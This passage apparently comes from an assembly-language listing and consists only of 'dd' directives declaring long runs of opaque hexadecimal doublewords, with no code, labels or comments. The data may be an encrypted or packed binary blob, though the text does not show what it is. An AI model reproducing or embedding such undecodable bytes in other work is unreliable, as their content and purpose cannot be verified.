4A954E1h, 0CF33B2DFh dd 0CAA85AB5h, 0E8316A80h, 0EE367357h, 3F32324h, 2D90A9A9h dd 5F9CA390h, 6ACF30D9h, 4F82C47h, 0E90D070Fh, 7E1A5E58h dd 0C073B788h, 0CA4A661Ch, 775CB29Eh, 0CF817A3Bh, 14B8D186h dd 65E09231h, 1600A600h, 2E71179Ah, 0A6F6D760h, 6C076632h dd 2A60A1DCh, 5D40FD65h, 61FEBD4Dh, 95F4CA6Fh, 6B2FD59Bh dd 2F1D2416h, 42C313F8h, 0AC6D2C88h, 18164CE6h, 0B7819A20h dd 0A5F6F99Eh, 0C06F0107h, 0BEC09DF5h, 37E6387Dh, 0A8E2DC9Fh dd 909D192Fh, 1AD82E12h, 0B5490735h, 0C89A8505h, 514D949Bh dd 6B0AD11Bh, 0D870F344h, 0E01CFDB0h, 5CE6ABC6h, 13E97621h dd 443FA8B1h, 90907430h, 0FEFEE49Ah, 0F31418D9h, 96ECA5A9h dd 5B82A5Fh, 82E255A2h, 2D445C8Eh, 706C7EC7h, 7F52FFEEh dd 41AAB52Dh, 6662EABDh, 14F1B59h, 44650C37h, 0CF830755h dd 4B17C682h, 944123C9h, 752D4E51h, 55EF4865h, 14834662h dd 1DC53C7Ch, 0FDC526D6h, 1386DE67h, 3B63141Dh, 6474AB1Fh dd 0F84439B4h, 0B25A3AE0h, 8CAB035Ah, 0C2A136E6h, 73A61B74h dd 0DD07B094h, 82D115E5h, 0B31F9AD3h, 0F3B0FEF0h, 277EEECEh dd 260A630Ch, 5109C466h dd 0FD6CC90Bh, 0F835E10Ah, 455D6A10h, 0AEB30360h, 0B8AE7F99h dd 9E9BCA6Dh, 0FBC3CCA3h, 0CC5D2395h, 28F240C9h, 3635D609h dd 7C6DBE71h, 21ECA9F3h, 65308521h, 53F3A05Bh, 553C6CC2h dd 0E0651530h, 0DA3155D7h, 0CB09E903h, 1A6C5E31h, 0CC72876Dh dd 0CE09B348h, 2E0818E4h, 0D0C3C326h, 5CB68128h, 68DA190Ch dd 0B6678443h, 0F4D23D55h, 0A59273ABh, 2726D6CBh, 913B2EFh dd 0F19185Ah, 0CE93A39Fh, 660D55FEh, 0EF51D90Eh, 927DD19Eh dd 9F1B61Ch, 27D1FC54h, 27B58559h, 0DF956B8Ah, 0FD5B1A26h dd 4A391AE3h, 304CEC45h, 200ACE7Ch, 0B9306425h, 83297651h dd 0E883DF2Dh, 0F805CB9h, 0A1B3D60Dh, 3F351377h, 0FC0C6DC6h dd 0D0073925h, 0B78CA78Dh, 84443679h, 0B136747Eh, 8D4E3165h dd 82FC3B49h, 0C5CBCB31h, 1100FA54h, 8034546Ah, 1F7217B5h dd 7348CB85h, 0CA883494h, 0D88D309Ch, 0DACDC467h, 0B740BB03h dd 12EAE67Ah, 7EB1A5D6h, 0F73384A4h, 0AF07D708h, 910C430Bh dd 0AACA2E90h, 0A854AB02h, 0EBF32587h, 53936788h, 239B8D0h dd 0C819D58Fh, 0E2EAE8A2h, 2BE69AB6h, 0D2B727F5h, 760C5D85h dd 0D42AF6D1h, 1F3E48B3h, 1E501A9Eh, 815DCC18h, 0AB399E6Eh dd 51331222h, 25E5C148h, 0A5230C29h, 2ADF0EE4h, 13B1BC4Ah dd 2D9DED9Ah, 6C09AEE4h, 17A96373h, 50115778h, 475A9BD3h dd 4CD7D5A6h, 0E484DDE6h, 0F9A90922h, 0E1A05CD9h, 0BD013788h dd 28965CEBh, 0EF11C2Fh, 4BF79FADh, 788E93A4h, 0F57EF475h dd 0BAAD2339h, 5F5CEB75h, 50376D24h, 0ABE48BC2h, 581DA3A9h dd 0B72C935Fh, 0F926A53Fh, 0D8C584F1h, 530F35DEh, 2C66ECADh dd 0A063434Fh, 0F2AB0CA5h, 0C864DF5h, 784C1E78h, 435A35D0h dd 2C734CE5h, 0B90B06BEh, 0D4A241CEh, 383FFBD6h, 66A753DBh dd 0F4469D79h, 83CE2D2Dh, 0F1814A4h, 0EB88B203h, 10073E48h dd 68F15DEh, 314B096Bh, 78D5B96Eh, 0E3F03AADh, 8BB72F0Ah dd 0AB43E7E6h, 2834648Dh, 50701209h, 0BFF777E9h, 6FA2AD23h dd 15536969h, 16F7B605h, 8F3D9875h, 0D771F627h, 0C484228h dd 0D0D339A3h, 9142064Dh, 4BA7D049h, 2F2148ABh, 0BAA69DC2h dd 67EE758Fh, 87766B72h, 42BD7696h, 82992370h, 584435CDh dd 8CBCFF61h, 95BE5BA6h, 0CB190129h, 127314F8h, 0B8B4DC3Bh dd 22AE8C5Dh, 0A7351AEDh, 12154D8h, 6517B848h, 3C4301DEh dd 48A3B359h, 0AF03B2BCh, 0FC2D5AE3h, 90309861h, 3FFB35B0h dd 0F0EC5023h, 0B0E01D8Dh, 163FBEDEh, 0F4B0B6D2h, 0CAACDCE0h dd 0F0C72544h, 0FAB292D7h, 0E8C0D9ABh, 4D5D004Fh, 1C63B2D5h dd 5FFF472Ch, 7541A029h, 0A90A0CE3h, 8428D741h, 0DFAEB958h dd 0D159BEA2h, 0A3008F2Fh, 749D263Fh, 3A71DC8h, 125269B9h dd 0CDA9E0FCh, 0AD8A0159h, 0E0098885h, 0E8E5E0B9h, 7681134Bh dd 3977096Eh, 6205B96Eh, 0E8852818h, 39712E26h, 576562FDh dd 6D7CF17Ah, 606371AEh, 281727C3h, 717F3254h, 0E88CA8EAh dd 0CFF6EA4Ch, 0C6E53281h, 0AEE8D8BFh, 139AF9B5h, 0E4DB1A34h dd 1D511A75h, 0D093A89Ah, 2F294992h, 515DBFD7h, 7ABC34FEh dd 0E30CED86h, 1B1B42FBh, 0DAC00815h, 0D341E8A9h, 51D10840h dd 70A100D4h, 92E2DC6Ch, 42120836h, 812FE1F7h, 0D71FECB2h dd 85D6D06Fh, 0B45554E8h, 9BADD739h, 0CBE507DEh, 3E2FB64Dh dd 6398008Ch, 47F18E81h, 0A2EFDA50h, 0F59BD31Dh, 2A3755F6h dd 8F4F929Ch, 0EE0B8659h, 82411EABh, 0DE0517Bh, 8130B49Bh dd 8F4E4138h, 13E8E438h, 4F6E9BC1h, 0A08CEAFEh, 93EDD86Ah dd 8EF8C838h, 4D8EB7DCh, 1FAEF8Ah, 0F715C044h, 0CB84BDD7h dd 0EAD76255h, 689D263Fh, 0CD480883h, 597FDAB8h, 0D1785B25h dd 0A730A388h, 77286D76h, 18E62548h, 0D3C49EDCh, 0DF47DD3Ch dd 0CED55491h, 145C413Ah, 0C950DFD8h, 99630FE9h, 7AE180F1h dd 0B8B02475h, 8373A68Ah, 0CE82FAF3h, 0E86C95A1h, 8F5DBCF3h dd 8093A5D7h, 2BC4427Fh, 0AAA7DA44h, 1701D5FFh, 9134CE3Dh dd 0D35CE06Dh, 0F42FD01Ch, 0FD49EB6Fh, 0ED147359h, 0D0378180h dd 3ED304E9h, 577223DCh, 0C9437DB1h, 5425AFF1h, 0A1DCEBAh dd 0C16E12F3h, 3A7118B8h, 2CC4FAD2h, 0EE7BFA2h, 6264A666h dd 0ADD02961h, 15D9AF59h, 321686BBh, 0F3DC0F81h, 3450D310h dd 1E0A87A5h, 90B089DAh, 3632B938h, 0D6300B08h, 0C396127h dd 143D02Fh, 1E54A755h, 5974A725h, 3B17C876h, 0D8DA8849h dd 530ED50Eh, 0CB6FE9D2h, 0A09C2CBEh, 0E451855h, 0D112FA33h dd 8517187h, 0FDB4DD94h, 310F5524h, 421A135Dh, 684C05D4h dd 929DEBC2h, 94B7C5D8h, 0CDE4815Ch, 5B682D34h, 0D90C4B85h dd 0BFA4BD95h, 1CA3E5CEh, 426D9DAFh, 2E2D099h, 0A000A4E7h dd 0B98BDA6Dh, 1042AE95h, 0D11F5BE8h, 0DB8C1A8Eh, 2298BE75h dd 8479DCD9h, 1AF9C58Eh, 9CAA67ECh, 3C711FF4h, 0D63722CCh dd 1216C7EDh, 476D7467h, 62A14FBDh, 0F26B05FEh, 0C0B62FCBh dd 4F417A4Ch, 235DBF73h, 6D14C934h, 231B5B00h, 0C2DB7661h dd 0DB7C3C53h, 0CD9BA91Ah, 0A736D377h, 1B496323h, 0C9CB5750h dd 0FB629D2Eh, 4BD40A35h, 0DB7A2323h, 3C69099Bh, 4AD05C7Bh dd 5D203B4Fh, 5C2ED643h, 856C7359h, 60F89FA3h, 0AF434B66h dd 0F9EDF0A4h, 0A181E339h, 0A058E279h, 6B2F0756h, 9427212Dh dd 8F80A520h, 0C06D5AC5h, 0E5C262FCh, 77C13E07h, 0F84C7093h dd 0C497B94Ch, 0DA1107C6h, 844586C5h, 93757B6Ah, 0F29687Ah dd 0AA21ACD4h, 9B0FBA4Dh, 0AD032B42h, 6C01E630h, 8879EAAh dd 5E434B4h, 0F4975DEh, 0E778A388h, 19245307h, 7A4FB6Ch dd 723AF5CEh, 0D2386740h, 5A712873h, 0AFADB08h, 2702A06Dh dd 1FF3BFACh, 90A67416h, 27378BFAh, 0AFA4388Ah, 7E900C71h dd 8D5E3670h, 61C8FC64h, 0D437E01Bh, 3AA73A8Ah, 71BEDC29h dd 0A89515BFh, 7E1082DFh, 1A535A09h, 0AAB69404h, 0CC2D5517h dd 0BE4CB75Ah, 0ED15B4D8h, 0D0E6E880h, 72CB781Eh, 5D5BD029h dd 0A00346B5h, 69D92DB8h, 5EE58428h, 0B3F86736h, 47318C2h dd 4944EAADh, 0F15886A7h, 0BEF1A5F0h, 0C44D9A10h, 4FBA2339h dd 0D9DE27EFh, 60F1F62Fh, 5405B2BCh, 1B48182Ch, 7BD29DAh dd 117BE339h, 0F3ABB023h, 6AEDD18Dh, 0FE9997BAh, 63973730h dd 49715BA6h, 4D93180h, 4BB790DCh, 3F851066h, 0C40256C0h dd 40F416DCh, 28BA733Ch, 8D9304C2h, 4BC86B7Bh, 99D559D1h dd 20B4CFB7h, 0C08689F1h, 831881EFh, 0C9EB71D3h, 95486E5Eh dd 1CB99179h, 88CA5CAAh, 252E5291h, 0C385FE94h, 9298BB90h dd 0BB343079h, 19F87657h, 0EE8B1FAh, 761BA26Dh, 0F8A12A5Ch dd 0C2E1D88Ah, 0FF72A487h, 0A861A6FFh, 945C4149h, 20765832h dd 9348C61h, 0D43AEE14h, 42389F59h, 0AEFE9FC8h, 239577B0h dd 0ABD0EDF0h, 6ECDDF77h, 0E4E2170Ch, 0E3A25D09h, 0ACC4D58Dh dd 2C8C4C5Bh, 0E3A4EB00h, 0DB27E0B7h, 4C6406DAh, 6816451Ah dd 2F0F9A73h, 1926DFC5h, 0B9C2B2CDh, 4D124FFFh, 3C417CC9h dd 0F24FA02Ch, 8E20008Ch, 0C5390599h, 25C44EB2h, 0BBCC42E5h dd 26D79FFh, 46EE45E6h, 279DCD59h, 0FF643424h, 0DC6D0339h dd 0B07FCFD9h, 0E0C65258h, 158F23D6h, 32DE0228h, 78A12AE6h dd 0A31BFA7Fh, 4B63AD35h, 5F7A6620h, 0D1977546h, 4F9CD2C6h dd 7C6AB0A7h, 99540F34h, 0F2BE954Fh, 0BC612A8Fh, 64307513h dd 1F67CDEBh, 974C0A7Bh, 0F3622ACDh, 939B5009h, 20466DEFh dd 0C70D5F32h, 0A3A25291h dd 8855FE94h, 0B06235BDh, 98783D74h, 0C63565EFh, 688EB570h dd 1A5A9C3Eh, 6142C043h, 3A334053h, 24B00730h, 3034D509h dd 7DE87C71h, 0B55F4870h, 61D2A909h, 0DC4E181Bh, 29D35262h dd 0AEB7440Bh, 22B6B854h, 759B9B48h, 1A3B28FCh, 44B50E6Eh dd 982D402Bh, 45B8C0BBh, 11600AB6h, 0D887D4FAh, 0CEAF585Eh dd 5D70A39Bh, 12294729h, 85091C73h, 52E5891Ah, 0D11A54CCh dd 445FD89Bh, 8740F64Eh, 5E5BDDD3h, 0C16D5D10h, 567E82ECh dd 7534FB78h, 0B0BA3990h, 0B9443097h, 731296FAh, 394BE525h dd 12644D04h, 0C9B21170h, 2DC88C72h, 55CD2EDFh, 0F1A421B4h dd 0B59C8097h, 7992D7AAh, 7122F5FEh, 8BB4425Bh, 0B85D0C7h dd 0C0145966h, 87E21F92h, 7A45874Eh, 0B1360544h, 8D43616Dh dd 12BED55h, 0C08484D5h, 537AC01Dh, 825C3EE9h, 5EA226D0h dd 0ACB739A9h, 4A792860h, 0C0BB378Dh, 0C4BCE6Fh, 0AA8B599Bh dd 3155B227h, 0A8BA002Ah, 0FD4F8FC0h, 90A93C48h, 9E03A23Dh dd 3DB13A53h, 5067A42Dh, 225C2BCAh, 541300E0h, 7F9AA45Eh dd 0F63B6370h, 9EB7355Ch, 573BA1F4h, 5532A36Fh, 52EFBDC9h dd 0BEAD82B0h, 9C5A6AD9h, 4AFB4F6Ch, 0C0804B01h, 739E200Dh dd 0DBB2E9D7h, 7C81A703h, 5870EA8Dh, 6E1BF2ECh, 0C5EEAB79h dd 17FB0E25h, 68F8749Ah, 0B0E4F786h, 4325585Ah, 0DFDC95FCh dd 9CECA69Bh, 6717D547h, 0D6BAFDE1h, 0B2C80C66h, 67F03B76h dd 4A65176Fh, 5C630B02h, 295EFEA8h, 0D61E1EA5h, 97D92460h dd 11F4AE81h, 0FED77C86h, 7D80A724h, 11406E7h, 30E392A3h dd 596EE47Ch, 10E754C0h, 77D86E1Ch, 0EA35620Ah, 0C469B7F7h dd 0B721431Dh, 844571F6h, 7107A15Fh, 0C6A9577Dh, 1B5E66B9h dd 8C44785Ah, 0B60F0C9Dh, 0F0E87EB9h, 0B98AAAD3h, 0ED48C723h dd 3E3061EDh, 85CD263Fh, 103BB84Fh, 8E417175h, 72FABC3Ch dd 71F49DB0h, 0B837F58h, 1F28CF1Fh, 47C452E9h, 0B5655ACh dd 58D99B16h, 0C275F8F5h, 1F44C5FFh, 9E93410Ah, 898C998Fh dd 0DA85056Dh, 0DA5840F4h, 5B40C83Dh, 4F88CA31h, 4764D661h dd 9C6C8088h, 0AFD6EE9h, 0C10D18D6h, 0D1D1BE32h, 46331516h dd 0EDB39231h, 9D1BA61Fh, 22248188h, 0EF729026h, 0B816BBECh dd 34C9CF21h, 1E51F108h, 0A79269C4h, 0EB9041DBh, 8CBB0E5Ah dd 785214DBh, 83852C9Fh, 0AFD7B4D7h, 2819C417h, 0F8468C5Ch dd 874AA958h, 5463C113h, 0A92F5E44h, 4D4A0850h, 0EE2F3307h dd 324C0224h, 1753A920h, 0C61A4012h, 0F430A9A5h, 0B632DB46h dd 0EDBA8D0Ah, 0D1D4F0B4h, 0EB48E05Ch, 3B953B92h, 0B45EF73Fh dd 0C7CF2AE4h, 8EEBEE81h, 0C8CC1892h, 0F75EC099h, 0BAECD143h dd 0DF56F2A4h, 614C5DACh, 0FAE92FBFh, 73E96730h, 9BE481BCh dd 59682AE4h, 0B48E6755h, 8DB25371h, 0ADD5B6C5h, 9746D126h dd 0CE778F35h, 1608E103h, 1540CAB3h, 0C467D2D6h, 0E79C74E9h dd 0BA8DE734h, 0ED30714Eh, 8F7D7E4Eh, 703F0A20h, 0EBD94E61h dd 2A5FE68Eh, 0DE7DBDF5h, 0D8E70634h, 0A8BFDF42h, 0D9E728EFh dd 6FC7BCE1h, 0D4C01ADDh, 0A4F087D9h, 56C89353h, 0C2158231h dd 1CCAD38Ah, 431E0168h, 0AC646BFEh, 27E9651Bh, 0B08C991Dh dd 38907B66h, 2E862201h, 6E99C6A6h, 84FC707Fh, 0BA972BADh dd 652160A4h, 0DA489819h, 0E837C3CBh, 0C3F9534Bh, 98A51F5Fh dd 0C9BFFEA8h, 776F9EA5h, 0FAEB6B2Ah, 0BD583C69h, 0AF148015h dd 0AB6B32CBh, 39D172D2h, 0E02AC02Ch, 8EBD42C6h, 7C65F03Ah dd 882F0AA5h, 0EBF6E24Ch, 0C46BE706h, 4FCBEEF5h, 93D245D0h dd 8EF86EB9h, 884DF5DEh, 95AFFD61h, 5B1B0AA3h, 563EAD59h dd 1F5D79CDh, 0BBE798B9h, 0FA48C0AAh, 998584BDh, 0C484FAA1h dd 78BBB8B5h, 6A146B68h, 0A9C31A38h, 76F6BAC6h, 400039Bh dd 2D1AF424h, 0F1799D62h, 726755B8h, 0CB6D2427h, 6285C70Fh dd 917ACA62h, 73E88049h, 0A400FF70h, 9DBE2617h, 2DE5DA52h dd 0D68821E2h, 0DFBD9DF4h, 0BA53C840h, 58D1DCFFh, 0E67A67F5h dd 0F3C1A258h, 4F60CE64h, 2714C1FFh, 0ED34617Ch, 230C17ECh dd 0B1A48670h, 0D677C9D6h, 3FE94AEEh, 29362F93h, 451A5B9Ah dd 566A2221h, 0A2F5D88Ah, 16007615h, 0A51B91DFh, 0D61EA519h dd 0AA084CC0h, 738C373Ah, 6EE60369h, 719C8FDh, 47CC527Bh dd 5B2722D8h, 16A30332h, 4CCFFCD1h, 4483C282h, 6C5534AFh dd 1452C18Bh, 0A0AEB85h, 492556D1h, 173FEFh, 88EF9EF4h dd 8AA1C283h, 3A4B22BFh, 2A5F5D01h, 83F0AA14h, 8EE39B63h dd 651678CDh, 0FD5E6AF4h, 0AF30001Ah, 1E527DC2h, 9D1F0FC9h dd 33A2903Bh, 51970301h, 9DB88680h, 6209A05Bh, 0B5324325h dd 6BFD1B95h, 0B62EF532h, 84E56799h, 614B83DAh, 5AA2B02Fh dd 0DB58C487h, 5383EAD7h, 0FDE8942Ah, 0D3E39E32h, 29324EDCh dd 77981A6h, 913A927Ch, 0D9E95261h, 5640903Ch, 28E4E9CEh dd 0D82426B6h, 0C690A042h, 0C553C0D5h, 0F3E808D6h, 0F1ED1C26h dd 0F3250D75h, 51A49529h, 52DADBE6h, 0C7AD6D43h, 588766F1h dd 817EC348h, 0C816ACB3h, 98F57EF8h, 6FB3D6B1h, 2772D278h dd 0BE71E68Dh, 89E2F5E2h, 3787DC37h, 188A3F62h, 1EC93A88h dd 7BF05147h, 21F58EB4h, 76270F40h, 0D4C6D310h, 32D29DA5h dd 365ADB43h, 0BFDA1CDEh, 707D0B7Dh, 4EC1D2DBh, 74D57EE3h dd 0F58D42A5h, 4EB8AAC6h, 6592D03Fh, 0EED71ACDh, 0E4181A1Ah dd 40522FCDh, 0A060A00Eh, 7B859A9Fh, 736C55A0h, 6EA91378h dd 0CBA078B1h, 9B0BD63Eh, 2EAA7B41h, 2FA3F0C7h, 0ACBE917Ch dd 0A6B6C005h, 0B4D16C94h, 0AA1DA31Ch, 0E54E76C9h, 72F46B64h dd 8ED91A24h, 6133E3A1h, 649C7F84h, 51DADB1Bh, 0C6E832E9h dd 623FFAACh, 64A56427h, 259EFACEh, 728A6C2Eh, 75B20C5Eh dd 0CA8FAF70h, 9C212385h, 32B45482h, 0C63D6675h, 0C0ECF68Bh dd 0D2FFAFA8h, 6351C0D8h, 2B230AD9h, 384860C5h, 29AAAEC8h dd 0C64D7EBAh, 2EB4FA2h, 5CC5ABDBh, 8633D700h, 0EE9B481Dh dd 4FF1CB90h, 94C9386Eh, 42507AF1h, 0EB6DA864h, 8C19C430h dd 3A728472h, 22FE8D4Eh, 49F18464h, 5972096Fh, 80F66248h dd 0E2169638h, 0ACD50F58h, 0A8F5C6F8h, 0BD165E78h, 293CC4A0h dd 0BCC9A3C6h, 2FD06B4Ch, 1BBBBB1Bh, 3EE0457h, 99A23DDFh dd 78E52389h, 0FC4F09BFh, 3D27E2DCh, 0FC03781Fh, 0C54A3F42h dd 69B832E6h, 22DCDA1Ch, 0F48B2067h, 72BEE713h, 92A618C0h dd 0FB982AB3h, 4D0FFA4Dh, 0D8A7F4BBh, 1A8A4BC5h, 0A5B73F8Ah dd 0D7AA1174h, 9C765B74h, 0BE66165Eh, 9C0CEED9h, 89360C1Dh dd 351C662Dh, 702F7B87h, 9A840676h, 2C8C227Ch, 226F2A53h dd 0EC9A19Bh, 0C43D98F1h, 9F69C50Fh, 74909149h, 4F93F218h dd 941BCB61h, 85FEE1E0h, 2DBF3D81h, 0CF714CCBh, 57707807h dd 0B0D5F455h, 1A0C8979h, 0E787DCC1h, 0A95A61B9h, 55AE22FCh dd 9DE85DA7h, 1CF03FA6h, 235F1908h, 964B9FEh, 0F83957FFh dd 5909190Eh, 2CE586BBh, 0BDEED5F4h, 645FE6ADh, 0CBEF0297h dd 87B8D4BDh, 0AA9EA2EAh, 5FECD7EEh, 2698D358h, 1D3503B5h dd 0E68290CFh, 433C9BE8h, 5E08614Eh, 253992CDh, 3B845AC6h dd 54C5C6BDh, 6FEC166Eh, 2063222Dh, 3D420420h, 10F53F0Ch dd 0FB1618E6h, 0A6B4EBBCh, 8EF287AFh, 3A7C2B67h, 0FF700D15h dd 227BE47Dh, 0F4C58D1Dh, 0F2598504h, 3D5B9457h, 0F8F54E57h dd 51E7ECB5h, 0A65C0D0Ah, 0B18EF2E3h, 0B8F43E7Ah, 3179E8D7h dd 0A379FE5h, 0EBF5C65Ch dd 792FEA81h, 86D9A6DEh, 834FA6A6h, 0FA80A046h, 0BD993493h dd 0FCD43593h, 94C54D9Fh, 43CF5FDh, 0FA91A0C2h, 44051200h dd 80363C49h, 0FC40118Fh, 1B9ECC62h, 0AC012B0Fh, 1A22376Fh dd 0E1564E13h, 0D2814B95h, 63B5D0B7h, 22B70C89h, 45EB61EDh dd 5B3C544Bh, 51B743F1h, 0C936DAA0h, 531BDA22h, 62DB563Ch dd 4BEF8D5Ch, 27704117h, 532EF30Bh, 0BFE5898Fh, 0BA75A1DAh dd 337148DDh, 0C3D4F5D1h, 3267E1E8h, 0D0DC002Dh, 0A0C7BB53h dd 1171B611h, 0D491FC4Eh, 61AA7528h, 6CEA6908h, 790829CFh dd 97C2B8A6h, 273AD7BCh, 0CD123E82h, 152211CCh, 0D86BB729h dd 3C8ACC83h, 5AB10951h, 8DBA8FFh, 0B400E986h, 0D1BF32Bh dd 1D523CAh, 0B7EE2209h, 8407AD17h, 0F4EDBD1Eh, 72A107A8h dd 13CC2064h, 2330D754h, 4BE12149h, 2EA2FDDDh, 77637FD4h dd 832713Bh, 2346B113h, 976A4494h, 2B64D7CEh, 19B3E2B1h dd 759C0C21h, 7F4501BBh, 561D91Dh, 0E5ABD15Fh, 2DAE4E71h dd 0CBB4114Ch, 2F445BF8h, 6A62CC00h, 0CB69610Dh, 0BE7CB84Ah dd 197C5598h, 764142ACh, 863E140Bh, 3AD850DAh, 0C1A7875Ch dd 0A2711048h, 2D934CF5h, 48EA629Eh, 178B1EB8h, 55151E4Ah dd 6D903EF5h, 9D5DAB3Eh, 0CF939226h, 0E4473AD5h, 863EA2B1h dd 9E70A0E8h, 0B18F4AF1h, 0E6780E39h, 0C1AD7D4Bh, 860F0CAh dd 9A7AEC30h, 0CFF8B65Eh, 0ABA0D4AAh, 10492697h, 7BB00CC4h dd 0C408FFEFh, 23C1ECEEh, 0EB5DE4C7h, 0E833F78Ch, 0E64B9CA1h dd 0ACDDC8F7h, 71560414h, 532B16B8h, 4C5463AEh, 8BEB522Ch dd 5F153ABBh, 2D6F722Dh, 0D89B0A94h, 30296742h, 2369350Bh dd 0E9165D22h, 9DC17CAEh, 86532F56h, 0BC899851h, 0EDA79212h dd 0B787B31h, 2A342F48h, 0C819CF4h, 0B15384FBh, 0D3BBC03Bh dd 30D55A28h, 0EFA84C04h, 0F9A97106h, 564C895Dh, 692AC1E3h dd 5825458h, 0F385736Dh, 2EFE51CBh, 0E026B051h, 0F48CAFFDh dd 0FC314E92h, 29DCC86h, 0C0C83825h, 15393193h, 3E544Bh dd 0EEE18DEDh, 0F8A671FBh, 0F29DE849h, 322D7913h, 5A5060FCh dd 64760AE9h, 0DDC2A0E1h, 27BAE410h, 89AED50Ch, 19FA8A4Ah dd 8EC117D8h, 0B2A62CD5h, 0DFDC695Ch, 8FF8B286h, 69D91BE9h dd 0D519D10Ch, 99F562A0h, 9BE66D9Fh, 4AC5E301h, 2C5AF0BAh dd 661C8829h, 5F7C624Fh, 5EA1933Bh, 0C391E3BAh, 0C6AC4427h dd 16C39482h, 3295F5Ah, 0BCBF832Bh, 0DE987B2Ch, 1058C47Ah dd 0CB130BA7h, 2E22ABF2h, 0D9EB48C4h, 1235D688h, 0C506E6A4h dd 2E2975E8h, 67589F9Ch, 0AE3C995Ah, 5A7ADDFCh, 8493563Dh dd 3A8124BCh, 8989D64Eh, 41BE71CCh, 0C1363102h, 1803815Bh dd 4C696F4Bh, 1C87C2h, 44BEFBB1h, 5623FF44h, 0CB4EF0CFh dd 252559h, 9B8C9EC1h, 492AA207h, 26ACB8h, 89E426BCh, 0E97FE9BEh dd 6DD3C0A7h, 1677EFA4h, 62E659BBh, 8941A566h, 0F90C4D6Eh dd 186D3481h, 4C6A4228h, 0D07E65Eh, 7D88B96Ah, 8C5ECAEBh dd 0A08C0649h, 29A9F28Ah, 3ADFBC0Fh, 0B6F5F0E8h, 0EF42C39Dh dd 0FAC1AB58h, 9D00885Ch, 54AA1F02h, 1DB66E0Bh, 0DE93E65Bh dd 0F32C36D0h, 806E7E72h, 2F549575h, 0FA1F3F56h, 0EB65C16Bh dd 0E212E03Ch, 0DEC2DB13h, 0D140D72h, 1EA54EC5h, 8BCFC8B1h dd 0A528096Ah, 9513EAB0h, 0F79672E1h, 809E16BAh, 0E58419A8h dd 11015D4Ch, 0D949EFECh, 5C393158h, 4133F64Dh, 1A2B5F1Ah dd 99EF0BD8h, 8DCBFDD1h, 0A0FBE54h, 0DC5B677Dh, 794CC3Dh dd 54A82E29h, 0F5F35535h, 8A693B8Eh, 456C3F54h, 63D5A589h dd 0D00E9AA4h, 0A4700199h, 0A6F92063h, 0AE1D9171h, 9627A40h dd 3A975CDCh, 364BD87h, 750F8526h, 0CE373033h, 1384773Fh dd 0E2923D6Dh, 281D0121h, 6DFBFEDCh, 3E7EA492h, 68DEB09Eh dd 0C735DC11h, 5096186Bh, 484C1290h, 0F9912A36h, 0CD3A1F62h dd 9F70513Ch, 8AD9D9DBh, 7EE970F3h, 626BE4D2h, 7C004FDCh dd 86402B7Ah, 0F8608227h, 4460EEE6h, 8E7BE9EDh, 0BEBD3DAAh dd 0B31AF9A6h, 0D2964422h, 99ADFDCBh, 1193230Fh, 248ECF44h dd 30BC91D0h, 0D6C84A82h, 7673739Ah, 0DCB06062h, 0E799D5FDh dd 4615CAE0h, 93277FBDh, 68D9A5A3h, 5028214Eh, 44F6D602h dd 5E0AF956h, 53F2F6A8h, 0C576624Fh, 1834A353h, 0C798D554h dd 0D9FAB375h, 8107CAAEh, 0BEEF0D39h, 9762DDE1h, 26F96324h dd 9CC8899Dh, 9A9404BCh, 6981589Dh, 0D46B85F7h, 0A5E49442h dd 0F423FAC6h, 8EE980FDh, 0E973863Ah, 751A59ADh, 0EA9E2C7Dh dd 45C9D35h, 4BAC2F2Fh, 261D2B6h, 0EF2A0593h, 0B8B8A7FAh dd 288BB8BCh, 5B8BBA37h, 0C8FDDD4Dh, 3ECF3796h, 9DB32159h dd 8AD0740Eh, 8B0069C3h, 0B1EF4B05h, 1E3993DBh, 612FA48Bh dd 707D1EFBh, 3DEBDE40h, 74D98BF6h, 0C5F5E935h, 9F69DEE4h dd 7A61B2D6h, 2D854E3Eh, 36099EC1h, 7AFF014Bh, 612857BFh dd 0F370E40Fh, 7A703571h, 9A4043A1h, 412DFB0Bh, 0B0EA452Fh dd 0C2E3D840h, 9FB48CF6h, 671E2982h, 0B3F8BC47h, 0BD902D25h dd 275EB587h, 0AFFA4D9Bh, 0CB7603B9h, 1574A302h, 8F83D7B4h dd 0D05902B3h, 419D8D1Bh, 0FCC5AA1Bh, 4B50C386h, 3EBE41C6h dd 0F618732Fh, 402019FAh, 209D1C07h, 2869EDB9h, 0AD9EA18Eh dd 528CCA16h, 41396DA6h, 6AB53D8Ah, 58BB9A26h, 0C4AEA836h dd 95D48FB9h, 197DB42h, 3F33DEBAh, 4F84404Dh, 767A891Eh dd 0ACF4ABAAh, 74D6C682h, 53C5A6E7h, 6587744h, 0E67B016Bh dd 0EDA07B11h, 663D2B7h, 69221297h, 623E8033h, 0BB534B79h dd 393CC6DEh, 5D8C47B6h, 402610A6h, 5B0DDAA6h, 0E8CE8AE5h dd 6B7C35D0h, 512A5692h, 7EA7CA8Fh, 9EF17D66h, 664DEE52h dd 0C5E33E78h, 62EAD33h, 1C22E089h, 0A6A599Fh, 213F9F39h dd 0B97AFEF2h, 93ABC06Dh, 0B4760777h, 1387DA16h, 0E0DFE340h dd 78701D19h, 32167BA3h, 3655E85Fh, 0E9AA6ADEh, 94CADABAh dd 5EC8BB2Eh, 0B9C664B8h, 0AB4685BCh, 0D41AE33Bh, 0F0E5FDEDh dd 1A1EDE48h, 0E4EE0835h, 7C4198FEh, 0A0865092h, 0AB398D23h dd 0F369D92h, 0F705B04Dh, 5A37C50Ch, 0E333D448h, 82683028h dd 0CDAE0CE5h, 1815AC92h, 0D7E5ADCBh, 63175F17h, 3F544ADDh dd 0BEC797D1h, 0E7DCAC67h, 19896371h, 0ADF9B4B6h, 7A2AC415h dd 66BA3FDDh, 247B2779h, 0A1D48F50h, 7310F887h, 897A46E1h dd 72E29B4h, 8B25B622h, 41B967h, 0A1C1470Ah, 0A34C795Ch dd 60AF5Fh, 0FF1B19B8h, 0C57BBC33h, 0F2A37457h, 0FC7FE760h dd 0DCE0A4B6h, 0AC3CFEDh, 3EE7A400h, 0A3ACF81Ah, 737C34D4h dd 0E0245612h, 15BEA75Bh, 0C8AD540Bh, 386230CCh, 359F648Fh dd 0D126A9D4h, 48A1174h, 158DBA40h, 0FC70ED2Dh, 0C6D47378h dd 0F383DF13h, 23E9AC86h, 0F84019F6h, 13F9ECF8h, 53D8C551h dd 0B271EBD9h, 574961E6h, 35539B34h, 6B50E2ACh, 627D2EDAh dd 96FE20FBh, 5E9D1FD1h, 3D4555A8h, 68FAC7AEh, 20B4011Bh dd 5562A067h, 0DCFA35FEh, 82318291h, 0F4C8E72Fh, 9188C991h dd 